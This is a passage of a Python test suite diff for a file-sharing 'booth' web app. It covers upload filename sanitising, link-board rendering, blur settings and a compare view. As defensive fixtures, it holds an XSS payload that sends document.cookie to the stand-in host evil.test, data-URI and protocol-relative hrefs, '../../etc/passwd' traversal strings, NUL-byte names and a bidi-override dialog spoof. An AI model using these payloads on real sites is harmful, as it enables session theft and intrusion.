||||
# file swapped for a FIFO or a link between the lstat and the open), so they
|
||||
# are held to account directly, where nothing stands in front of them.
|
||||
|
||||
|
||||
def test_the_raw_read_never_blocks_on_a_fifo(tmp_path):
|
||||
from booth.blur import _read_capped
|
||||
os.mkfifo(tmp_path / "f")
|
||||
assert _within(5, lambda: _read_capped(tmp_path / "f")) is None
|
||||
|
||||
|
||||
def test_the_raw_read_never_follows_a_link(tmp_path):
|
||||
from booth.blur import _read_capped
|
||||
(tmp_path / "real.json").write_text('["a.png"]')
|
||||
(tmp_path / "link").symlink_to(tmp_path / "real.json")
|
||||
assert _read_capped(tmp_path / "link") is None
|
||||
+263
-9
@@ -344,6 +344,50 @@ def test_safe_upload_name():
|
||||
assert safe_upload_name("...", "fb") == "fb"
|
||||
|
||||
|
||||
def test_safe_upload_name_drops_nul_before_the_dot_rule():
|
||||
# NUL is the one byte no POSIX filename can hold; open() raises ValueError on it
|
||||
assert safe_upload_name("a\x00b.png", "fb") == "ab.png"
|
||||
assert safe_upload_name("\x00", "fb") == "fb"
|
||||
# stripped FIRST, so a NUL cannot shield a leading dot from the hide rule
|
||||
assert safe_upload_name("\x00.hidden", "fb") == "hidden"
|
||||
|
||||
|
||||
def test_safe_upload_name_caps_bytes_not_characters():
|
||||
# NAME_MAX is 255 BYTES: 200 two-byte characters are 400 of them
|
||||
name = safe_upload_name("é" * 200, "fb")
|
||||
assert len(name.encode("utf-8")) <= 200
|
||||
assert name == "é" * 100
|
||||
# a cut through a multibyte character drops the partial character, never mangles it
|
||||
assert safe_upload_name("a" + "é" * 150, "fb") == "a" + "é" * 99
|
||||
|
||||
|
||||
def test_safe_upload_name_keeps_the_extension_through_the_cut():
|
||||
# the cut comes out of the stem: a cut `.png` is no longer an image, and a
|
||||
# name that USED to fit (80 CJK characters, 240 bytes) must not lose its kind
|
||||
assert safe_upload_name("é" * 200 + ".png", "fb") == "é" * 98 + ".png"
|
||||
assert classify(safe_upload_name("画" * 80 + ".png", "fb")) == "image"
|
||||
# a 5-byte extension is kept as well as a 4-byte one
|
||||
assert safe_upload_name("é" * 200 + ".jpeg", "fb") == "é" * 97 + ".jpeg"
|
||||
# an "extension" too long to be one is cut like any other text
|
||||
long_ext = safe_upload_name("a." + "é" * 150, "fb")
|
||||
assert len(long_ext.encode("utf-8")) <= 200 and long_ext.startswith("a.é")
|
||||
|
||||
|
||||
def test_safe_upload_name_never_manufactures_a_kind():
|
||||
# a cut through a long suffix can land on a SHORTER one: `.pngxxx…` is not
|
||||
# an image, and its cut `….png` would be (heid bug hunt, hulda)
|
||||
name = safe_upload_name("a" * 196 + ".png" + "x" * 17, "fb")
|
||||
assert classify(name) == "other" and doc_kind(name) is None
|
||||
assert name == "a" * 196 + "_png"
|
||||
|
||||
|
||||
def test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule():
|
||||
# a lone surrogate is dropped too, and it must go FIRST like the NUL: dropped
|
||||
# last, it shielded the dot and `.forever` came out, which is the keep marker
|
||||
assert safe_upload_name("\ud800.forever", "fb") == "forever"
|
||||
assert safe_upload_name("\ud800..", "fb") == "fb"
|
||||
|
||||
|
||||
def _upload(client, files):
|
||||
return client.post("/upload", files=files, follow_redirects=False)
|
||||
|
||||
@@ -385,6 +429,30 @@ def test_upload_sanitizes_traversal(client):
|
||||
assert not (data.parent / "passwd").exists() # nothing escaped upward
|
||||
|
||||
|
||||
def test_upload_a_nul_in_a_filename_never_500s(client):
|
||||
# A RAW body: httpx percent-escapes a NUL in `files=` (the server then sees
|
||||
# a literal "%00" and the test proves nothing). A NUL reached open() and
|
||||
# raised ValueError, a 500 with the booth torn down.
|
||||
c, data = client
|
||||
body = (b'--XyZ\r\nContent-Disposition: form-data; name="files"; filename="a\x00b.png"\r\n'
|
||||
b"Content-Type: image/png\r\n\r\npng\r\n--XyZ--\r\n")
|
||||
r = c.post("/upload", content=body, follow_redirects=False,
|
||||
headers={"content-type": "multipart/form-data; boundary=XyZ"})
|
||||
assert r.status_code == 303, r.text
|
||||
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
|
||||
assert (booth / "ab.png").read_bytes() == b"png"
|
||||
|
||||
|
||||
def test_upload_a_name_over_name_max_in_bytes_never_500s(client):
|
||||
# 200 two-byte characters pass a 200-CHARACTER cap and overrun NAME_MAX
|
||||
# (255 bytes): ENAMETOOLONG at open(), a 500 with the booth torn down
|
||||
c, data = client
|
||||
r = _upload(c, [("files", ("é" * 200 + ".txt", b"long", "text/plain"))])
|
||||
assert r.status_code == 303, r.text
|
||||
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
|
||||
assert (booth / ("é" * 98 + ".txt")).read_bytes() == b"long"
|
||||
|
||||
|
||||
def test_upload_rejects_too_many_files(tmp_path):
|
||||
app = create_app(tmp_path, start_sweeper=False, max_files=2)
|
||||
c = TestClient(app)
|
||||
@@ -771,7 +839,13 @@ def test_sentinel_is_not_counted_as_an_item(tmp_path):
|
||||
assert booth["count"] == 1
|
||||
|
||||
|
||||
def test_index_separates_kept_from_ephemeral(client):
|
||||
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
|
||||
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
|
||||
This test used to require a kept LANE rendered before the ephemeral grid.
|
||||
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
|
||||
nothing — and orders by what needs the operator instead (tested in
|
||||
tests/test_flow.py). What survives is the fact: a kept booth still says it
|
||||
is kept, on its own row."""
|
||||
c, data = client
|
||||
_touch(data / "scratch" / "a.png")
|
||||
_touch(data / "links" / "a.png")
|
||||
@@ -779,14 +853,9 @@ def test_index_separates_kept_from_ephemeral(client):
|
||||
|
||||
html = c.get("/").text
|
||||
|
||||
# Assert on the lane's markup, not on the word "Kept" — that string also
|
||||
# appears in the stylesheet comment that is served on every page, so a bare
|
||||
# substring check passes for the wrong reason.
|
||||
assert 'class="grid kept-grid"' in html, "kept booths need their own lane"
|
||||
assert 'class="card card-kept"' in html
|
||||
# The kept lane is rendered before the ephemeral grid, so the operator sees
|
||||
# durable boards first rather than hunting for them among the churn.
|
||||
assert html.index("links") < html.index("scratch")
|
||||
assert 'data-booth="links" data-kept="1"' in html
|
||||
assert 'data-booth="scratch" data-kept="0"' in html
|
||||
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
|
||||
|
||||
|
||||
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
|
||||
@@ -1592,3 +1661,188 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path):
|
||||
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
assert app.state.templates.env.filters["dur"](3600) == "1h"
|
||||
|
||||
|
||||
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
|
||||
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
|
||||
|
||||
17 agent handles append to the standing board and the operator clicks its
|
||||
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
|
||||
about whether an href is safe to render, and nothing guarded the render.
|
||||
|
||||
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
|
||||
rejected — by the markdown link regex, because the parens break `](...)`.
|
||||
That is an accident, not a guard, and a paren-free payload sails through.
|
||||
|
||||
The row still RENDERS, because the operator should see that something was
|
||||
posted and refused; it just must not be a link."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
b.joinpath("links.md").write_text(
|
||||
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
|
||||
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||||
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
|
||||
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
|
||||
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
|
||||
)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/links/").text
|
||||
|
||||
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
|
||||
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
|
||||
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
|
||||
# refused, not hidden: the operator sees that it was posted
|
||||
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
|
||||
|
||||
|
||||
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
|
||||
"""A board row's description and URL come from any of seventeen agent
|
||||
handles, and they are pasted into a `confirm()` dialog — which is the text
|
||||
the operator reads before approving a delete.
|
||||
|
||||
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
|
||||
string, so a bidi override (U+202E) or a newline re-orders or hides what he
|
||||
is consenting to, and the row shown is not the row removed.
|
||||
|
||||
Found by design-dev, the same class as the wipe dialog he had just fixed on
|
||||
the Desk. Defeating change: dropping `shown()` from either argument."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
b.joinpath("links.md").write_text(
|
||||
"- [innocentgnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||||
)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/links/").text
|
||||
|
||||
assert "function shown(" in html, "the dialog sanitiser is gone"
|
||||
# both arguments must go through it, not just one
|
||||
assert "shown(btn.getAttribute('data-desc')" in html
|
||||
assert "shown(btn.getAttribute('data-url')" in html
|
||||
|
||||
|
||||
def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
|
||||
"""The operator ruled booth-level blur in; design-dev specced the semantics
|
||||
and this is the half that is ours.
|
||||
|
||||
COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
|
||||
is in `.blurred`. Turning booth blur off must leave an agent's per-item
|
||||
choice exactly as the poster left it — an override would need a per-item
|
||||
"unblurred" exception list, which is state nobody can see.
|
||||
|
||||
Defeating change: assigning `Item.blurred` from the booth flag instead of
|
||||
OR-ing it."""
|
||||
from booth.app import set_blurred, set_booth_blurred
|
||||
from booth.items import booth_items
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.mp3"):
|
||||
(b / n).write_bytes(b"x")
|
||||
set_blurred(b, "b.png", True)
|
||||
|
||||
def state():
|
||||
return {i.rel: i.blurred for i in booth_items(b)}
|
||||
|
||||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}
|
||||
|
||||
set_booth_blurred(b, True)
|
||||
# audio has nothing to hide from a glance
|
||||
assert state() == {"a.png": True, "b.png": True, "c.mp3": False}
|
||||
|
||||
set_booth_blurred(b, False)
|
||||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
|
||||
"unfogging the booth erased the poster's per-item blur"
|
||||
|
||||
|
||||
def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
|
||||
"""`is_kept` fails toward KEEPING because a failed read must not authorise a
|
||||
delete. This fails toward HIDING, because a failed read must not reveal
|
||||
something the poster asked to fog. Same shape, inverted safety, and the
|
||||
inversion is the point.
|
||||
|
||||
Defeating change: `except OSError: return False`."""
|
||||
import booth.items as items_mod
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
|
||||
real = pathlib.Path.lstat
|
||||
|
||||
def boom(self, *a, **k):
|
||||
if self.name == items_mod.BOOTH_BLUR_FILE:
|
||||
raise PermissionError(13, "nope")
|
||||
return real(self, *a, **k)
|
||||
|
||||
monkeypatch.setattr(pathlib.Path, "lstat", boom)
|
||||
assert items_mod.is_booth_blurred(b) is True
|
||||
|
||||
|
||||
def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
|
||||
"""The POST target design-dev's header control needs, with `back=view` so
|
||||
fogging from the review does not eject you from the review."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 303 and r.headers["location"] == "/b/g/"
|
||||
assert (b / ".blurbooth").exists()
|
||||
|
||||
r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
|
||||
assert r.headers["location"] == "/b/g/view?f=a.png"
|
||||
|
||||
c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
|
||||
assert not (b / ".blurbooth").exists()
|
||||
|
||||
|
||||
def test_every_booth_can_state_when_it_was_made(tmp_path):
|
||||
"""The operator asked for creation dates. `.booth.json`'s declared
|
||||
`created` only exists for booths posted through the CLI since U5 — twelve
|
||||
of thirty live booths had none — and every alternative was a guess wearing
|
||||
a fact's clothes: oldest content mtime is wrong the moment an agent copies
|
||||
files with timestamps preserved, and directory mtime just means "last thing
|
||||
added".
|
||||
|
||||
ext4 records a real birth time and `statx` reads it, so this is a FACT the
|
||||
disk already holds. ONE rule for every booth, manifest or not.
|
||||
|
||||
Defeating change: falling back to `stat().st_mtime`, which changes every
|
||||
time a file lands and would show a week-old booth as created five minutes
|
||||
ago."""
|
||||
import time
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
made = time.time()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
|
||||
rows = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}
|
||||
row = rows["g"]
|
||||
assert row["created_at"] is not None, "no creation time for a fresh booth"
|
||||
assert abs(row["created_at"] - made) < 10
|
||||
|
||||
# and it must NOT move when content lands later
|
||||
time.sleep(1.1)
|
||||
(b / "b.png").write_bytes(b"y")
|
||||
again = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
|
||||
assert again["created_at"] == row["created_at"], \
|
||||
"the creation time moved when a file was added — that is `updated`, not `created`"
|
||||
assert again["landed_at"] > row["landed_at"], "`updated` did not move"
|
||||
|
||||
|
||||
def test_a_filesystem_with_no_birth_time_shows_nothing(tmp_path, monkeypatch):
|
||||
"""None renders as nothing, which is the honest output when nobody knows —
|
||||
tmpfs, NFS and some overlayfs do not record a birth time, and an old kernel
|
||||
has no `statx` at all.
|
||||
|
||||
Defeating change: substituting any mtime when birth_time returns None."""
|
||||
import booth.app as app_mod
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
monkeypatch.setattr(app_mod, "birth_time", lambda p: None)
|
||||
|
||||
row = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
|
||||
assert row["created_at"] is None
|
||||
|
||||
@@ -659,3 +659,46 @@ def test_the_append_happens_INSIDE_the_lock(booth):
|
||||
fcntl.flock(lf, fcntl.LOCK_UN)
|
||||
assert (board / "links.md").read_text() == "", \
|
||||
"the row was appended while another writer held the lock"
|
||||
|
||||
|
||||
def test_blur_with_no_files_fogs_the_whole_booth(booth):
|
||||
"""The Desk shows up to four images from EVERY booth on the page the
|
||||
operator opens first, so a booth that should not be glanced at has to say
|
||||
so as a booth — and the session that posts it is the one that knows.
|
||||
|
||||
Seventeen handles call this script; a verb here is how they self-blur at
|
||||
post time without waiting for anyone to click anything."""
|
||||
data, b = booth
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
|
||||
out = run(data, "blur", "b")
|
||||
assert out.returncode == 0, out.stderr
|
||||
assert (b / ".blurbooth").exists()
|
||||
assert "whole booth blurred" in out.stdout
|
||||
|
||||
out = run(data, "unblur", "b")
|
||||
assert out.returncode == 0, out.stderr
|
||||
assert not (b / ".blurbooth").exists()
|
||||
|
||||
|
||||
def test_unblurring_the_booth_keeps_per_item_choices(booth):
|
||||
"""COMPOSES, never overrides — the same promise the resolver makes. An
|
||||
agent's per-item blur must survive the booth flag being cleared.
|
||||
|
||||
Defeating change: `unblur <name>` also clearing `.blurred`."""
|
||||
data, b = booth
|
||||
for n in ("a.png", "b.png"):
|
||||
(b / n).write_bytes(b"x")
|
||||
|
||||
run(data, "blur", "b", "a.png")
|
||||
run(data, "blur", "b")
|
||||
run(data, "unblur", "b")
|
||||
|
||||
assert not (b / ".blurbooth").exists()
|
||||
# Read through the reader, not the bytes: `.blurred` became a JSON array
|
||||
# (the round-trip fix, operator-ruled 2026-09-23), and this test is about
|
||||
# the per-item choice surviving, not about the file's format.
|
||||
import sys
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
from booth.blur import read_blurred
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
@@ -0,0 +1,426 @@
|
||||
"""R3 — compare: two picked items of a booth side by side.
|
||||
|
||||
Contract: docs/contracts/r3_compare.contract.md. The server half: the route,
|
||||
the pair, the step and strip links, the regions, and the JS-off flag landing.
|
||||
The browser half is tests/test_compare_browser.py.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pathlib
|
||||
import re
|
||||
import sys
|
||||
from urllib.parse import parse_qs, urlsplit
|
||||
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import create_app # noqa: E402
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
|
||||
|
||||
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, data in files.items():
|
||||
p = b / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_bytes(data)
|
||||
return b
|
||||
|
||||
|
||||
def _client(root: pathlib.Path) -> TestClient:
|
||||
return TestClient(create_app(root, ttl_hours=24, start_sweeper=False),
|
||||
follow_redirects=False)
|
||||
|
||||
|
||||
def _frames(body: str) -> dict[str, str]:
|
||||
"""rel -> the A/B marks its filmstrip frame carries ('' for none), in
|
||||
strip order."""
|
||||
film = re.search(r'<nav class="film"[^>]*data-region="film".*?</nav>', body, re.S).group(0)
|
||||
out = {}
|
||||
for f in re.findall(r'<a class="film-f[^"]*"[^>]*>.*?</a>', film, re.S):
|
||||
rel = re.search(r'data-rel="([^"]*)"', f).group(1)
|
||||
out[rel] = "".join(re.findall(r'<span class="film-ab">([AB]+)</span>', f))
|
||||
return out
|
||||
|
||||
|
||||
# ---- C1: the route and the pair ----------------------------------------------
|
||||
|
||||
def test_compare_renders_the_pair(tmp_path):
|
||||
"""The tracer: four pictures, #1 against #3. Both names and both ordinals
|
||||
are printed, and the filmstrip marks #1 A and #3 B."""
|
||||
_booth(tmp_path, "g", {f"{n}.png": PNG for n in ("p", "q", "r", "s")})
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=r.png")
|
||||
assert r.status_code == 200
|
||||
body = r.text
|
||||
label_a = re.search(r'data-region="label-a".*?</div>', body, re.S).group(0)
|
||||
label_b = re.search(r'data-region="label-b".*?</div>', body, re.S).group(0)
|
||||
assert "p.png" in label_a and "#1" in label_a, label_a
|
||||
assert "r.png" in label_b and "#3" in label_b, label_b
|
||||
assert _frames(body) == {"p.png": "A", "q.png": "", "r.png": "B", "s.png": ""}
|
||||
assert list(_frames(body)) == ["p.png", "q.png", "r.png", "s.png"], "the strip is in RING order"
|
||||
# each side's flag form names its OWN item
|
||||
for key, rel in (("a", "p.png"), ("b", "r.png")):
|
||||
form = re.search(r'data-region="flag-%s".*?</form>' % key, body, re.S).group(0)
|
||||
assert f'name="target" value="{rel}"' in form, (key, form)
|
||||
|
||||
|
||||
def _four(root: pathlib.Path) -> pathlib.Path:
|
||||
"""Four pictures, a doc, a caption sidecar and a dotfile: every kind of
|
||||
thing a side can name that is not a side."""
|
||||
return _booth(root, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG, "s.png": PNG,
|
||||
"notes.md": b"# n", "p.png.txt": b"a caption",
|
||||
".hidden.png": PNG})
|
||||
|
||||
|
||||
def test_a_bad_side_is_a_404(tmp_path):
|
||||
"""Missing, traversal, a NUL, a dotfile, a doc item, a non-item file: a 404
|
||||
each, on either side, never a 500."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
bad = ["", "../g/p.png/..", "../../etc/passwd", "p.png\x00", ".hidden.png",
|
||||
"notes.md", "p.png.txt", "gone.png", "sub/"]
|
||||
for rel in bad:
|
||||
for q in ({"a": rel, "b": "q.png"}, {"a": "q.png", "b": rel}):
|
||||
r = c.get("/b/g/compare", params=q)
|
||||
assert r.status_code == 404, (q, r.status_code)
|
||||
for q in ({"b": "q.png"}, {"a": "q.png"}, {}):
|
||||
assert c.get("/b/g/compare", params=q).status_code == 404, q
|
||||
|
||||
|
||||
def test_a_missing_param_is_404_not_422(tmp_path):
|
||||
"""The review declares `f: str` and answers 422 without it; compare
|
||||
declares both sides with a default and answers 404."""
|
||||
_four(tmp_path)
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png")
|
||||
assert r.status_code == 404
|
||||
|
||||
|
||||
def test_an_outside_symlink_in_the_ring_is_404(tmp_path):
|
||||
"""`booth_items` follows symlinks, so a link pointing OUTSIDE the booth is
|
||||
in the review ring; only the containment check refuses it."""
|
||||
from booth.items import booth_items, review_chain
|
||||
b = _four(tmp_path)
|
||||
outside = tmp_path / "elsewhere.png"
|
||||
outside.write_bytes(PNG)
|
||||
(b / "zz-link.png").symlink_to(outside)
|
||||
assert "zz-link.png" in review_chain(booth_items(b)), "the fixture must put it in the ring"
|
||||
# a SIBLING whose name shares the booth's prefix is outside too (the
|
||||
# containment check compares with the separator, never a bare prefix)
|
||||
sib = tmp_path / "g-extra"
|
||||
sib.mkdir()
|
||||
(sib / "x.png").write_bytes(PNG)
|
||||
(b / "zz-sib.png").symlink_to(sib / "x.png")
|
||||
c = _client(tmp_path)
|
||||
for rel in ("zz-link.png", "zz-sib.png"):
|
||||
assert c.get(f"/b/g/compare?a={rel}&b=p.png").status_code == 404, rel
|
||||
assert c.get(f"/b/g/compare?a=p.png&b={rel}").status_code == 404, rel
|
||||
|
||||
|
||||
def test_no_navigation_offers_a_pair_that_404s(tmp_path):
|
||||
"""An outside symlink stays in the review ring, and compare 404s it. So no
|
||||
compare link may offer it: not the strip, not a step, not the review's
|
||||
Compare control, not the JS-off flag landing (heid bug hunt, 3 of 4)."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG, "c.png": PNG})
|
||||
outside = tmp_path / "elsewhere.png"
|
||||
outside.write_bytes(PNG)
|
||||
(b / "b-link.png").symlink_to(outside)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=a.png&b=c.png").text
|
||||
assert list(_frames(body)) == ["a.png", "c.png"], _frames(body)
|
||||
for h in _compare_links(body):
|
||||
q = parse_qs(urlsplit(h).query)
|
||||
assert "b-link.png" not in (q["a"][0], q["b"][0]), h
|
||||
assert _step(body, "a-next") == ("c.png", "c.png") # steps over it
|
||||
assert _compare_href(c.get("/b/g/view?f=a.png").text) == ("a.png", "c.png")
|
||||
r = c.post("/b/g/flag", data={"target": "a.png", "on": "1", "back": "compare",
|
||||
"a": "a.png", "b": "b-link.png"})
|
||||
assert r.headers["location"] == "/b/g/#item-a.png", r.headers["location"]
|
||||
|
||||
|
||||
def test_hostile_booth_names_are_404_not_500(tmp_path):
|
||||
"""A NUL in the booth segment makes Path.resolve raise ValueError, which
|
||||
is not an OSError: it must still be a 404 (heid bug hunt, hulda)."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for path in ("/b/g%00/compare?a=p.png&b=q.png", "/b/g%00/view?f=p.png", "/b/g%00/"):
|
||||
assert c.get(path).status_code == 404, path
|
||||
|
||||
|
||||
def test_a_nul_in_a_file_path_is_404_not_500(tmp_path):
|
||||
"""Compare's stages load their pictures through the raw file route. A NUL
|
||||
in that path segment raises ValueError from resolve(), which is not an
|
||||
OSError: still a 404 (heid bug hunt on the race fix, hulda)."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for path in ("/b/g/p%00.png", "/b/g/p.png%00?thumb=1", "/b/g/sub%00/p.png?dl=1"):
|
||||
assert c.get(path).status_code == 404, path
|
||||
|
||||
|
||||
def test_a_planted_fifo_marker_cannot_hang_a_look(tmp_path):
|
||||
"""Recording a look never costs the page: a FIFO planted at `.viewed` must
|
||||
not block the open that touches it (heid bug hunt, hulda)."""
|
||||
import os
|
||||
import threading
|
||||
b = _four(tmp_path)
|
||||
os.mkfifo(b / ".viewed")
|
||||
got = []
|
||||
t = threading.Thread(target=lambda: got.append(
|
||||
_client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").status_code), daemon=True)
|
||||
t.start()
|
||||
t.join(10)
|
||||
assert got == [200], "a planted FIFO held the look open"
|
||||
|
||||
|
||||
def _vanish_after_scan(monkeypatch, name: str, grace: int) -> None:
|
||||
"""Make `name` stop being a file partway through a request: once
|
||||
booth_items has scanned the booth, the first `grace` is_file checks of it
|
||||
still pass and every later one fails — a file deleted or relinked outside
|
||||
the booth mid-request, between two resolves of the same rel."""
|
||||
import pathlib as _pl
|
||||
import booth.app as app_mod
|
||||
state = {"armed": False, "calls": 0}
|
||||
real_items, real_is_file = app_mod.booth_items, _pl.Path.is_file
|
||||
|
||||
def items(booth):
|
||||
out = real_items(booth)
|
||||
state["armed"] = True
|
||||
return out
|
||||
|
||||
def is_file(self):
|
||||
if state["armed"] and self.name == name:
|
||||
state["calls"] += 1
|
||||
if state["calls"] > grace:
|
||||
return False
|
||||
return real_is_file(self)
|
||||
|
||||
monkeypatch.setattr(app_mod, "booth_items", items)
|
||||
monkeypatch.setattr(_pl.Path, "is_file", is_file)
|
||||
|
||||
|
||||
def test_a_side_that_vanishes_mid_request_never_500s(tmp_path, monkeypatch):
|
||||
"""booth-dev's race: each rel must be judged ONCE per request. A side that
|
||||
passes its check and then vanishes before a second resolve must not reach
|
||||
a `.index()` that raises — a damaged file costs its own tile, never the
|
||||
page."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "r.png": PNG})
|
||||
_vanish_after_scan(monkeypatch, "p.png", grace=1)
|
||||
r = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png")
|
||||
assert r.status_code in (200, 404), r.status_code
|
||||
|
||||
|
||||
def test_the_review_hides_compare_when_its_item_vanishes_mid_request(tmp_path, monkeypatch):
|
||||
"""The review checked its item, then the item vanished before the compare
|
||||
ring was built: the page still renders, without a Compare control (a
|
||||
compare of it would 404) — never a 500."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
|
||||
_vanish_after_scan(monkeypatch, "p.png", grace=0)
|
||||
r = _client(tmp_path).get("/b/g/view?f=p.png")
|
||||
assert r.status_code == 200, r.status_code
|
||||
assert 'class="vbtn vcompare"' not in r.text
|
||||
|
||||
|
||||
def test_a_look_records_both_seen(tmp_path):
|
||||
"""A compare GET is a look at both sides; a 404 records nothing."""
|
||||
import json
|
||||
b = _four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
assert c.get("/b/g/compare?a=p.png&b=gone.png").status_code == 404
|
||||
assert not (b / ".seen").exists() and not (b / ".viewed").exists()
|
||||
assert c.get("/b/g/compare?a=q.png&b=s.png").status_code == 200
|
||||
assert set(json.loads((b / ".seen").read_text())) == {"q.png", "s.png"}
|
||||
assert (b / ".viewed").exists()
|
||||
|
||||
|
||||
def test_compare_carries_data_booth(tmp_path):
|
||||
"""Reveal all's script and the head script's reveal restore both read
|
||||
`data-booth` off <html>, and bail without it."""
|
||||
_four(tmp_path)
|
||||
body = _client(tmp_path).get("/b/g/compare?a=p.png&b=q.png").text
|
||||
assert re.search(r'<html lang="en" data-booth="g">', body)
|
||||
|
||||
|
||||
def test_no_data_region_repeats(tmp_path):
|
||||
"""The swap keeps the FIRST fresh node per id and copies it over EVERY live
|
||||
node with that id, so a shared id would turn B's flag into A's. Unique,
|
||||
keyed by side — including when a == b."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
for q in ("a=p.png&b=r.png", "a=q.png&b=q.png"):
|
||||
# attributes only: base.html's script names `[data-region="status"]`
|
||||
ids = re.findall(r'\sdata-region="([^"]+)"', c.get(f"/b/g/compare?{q}").text)
|
||||
assert len(ids) == len(set(ids)), (q, ids)
|
||||
assert {"flag-a", "flag-b", "label-a", "label-b", "film"} <= set(ids), ids
|
||||
assert not [i for i in ids if i.startswith("item-")], ids
|
||||
body = c.get("/b/g/compare?a=q.png&b=q.png").text
|
||||
assert _frames(body)["q.png"] == "AB", "a == b marks the one frame both ways"
|
||||
|
||||
|
||||
def test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle(tmp_path):
|
||||
"""C4: video and audio play in their own stage; the Fit | 1:1 toggle is
|
||||
bound only when a side is a picture, so two videos get none."""
|
||||
_booth(tmp_path, "g", {"a.webm": b"\x1aE\xdf\xa3", "b.mp3": b"ID3", "c.png": PNG})
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=a.webm&b=b.mp3").text
|
||||
assert re.search(r'<video class="cmp-media"[^>]*src="a.webm"', body)
|
||||
assert re.search(r'<audio class="cmp-media"[^>]*src="b.mp3"', body)
|
||||
assert 'id="vtoggle"' not in body
|
||||
assert 'id="vtoggle"' in c.get("/b/g/compare?a=a.webm&b=c.png").text
|
||||
|
||||
|
||||
# ---- C3: stepping --------------------------------------------------------------
|
||||
|
||||
def _ring6(root: pathlib.Path) -> pathlib.Path:
|
||||
"""Six media with a DOC between them: 03-notes.md takes ordinal 3, so an
|
||||
ordinal is not a ring position."""
|
||||
return _booth(root, "g", {"01.png": PNG, "02.png": PNG, "03-notes.md": b"# n",
|
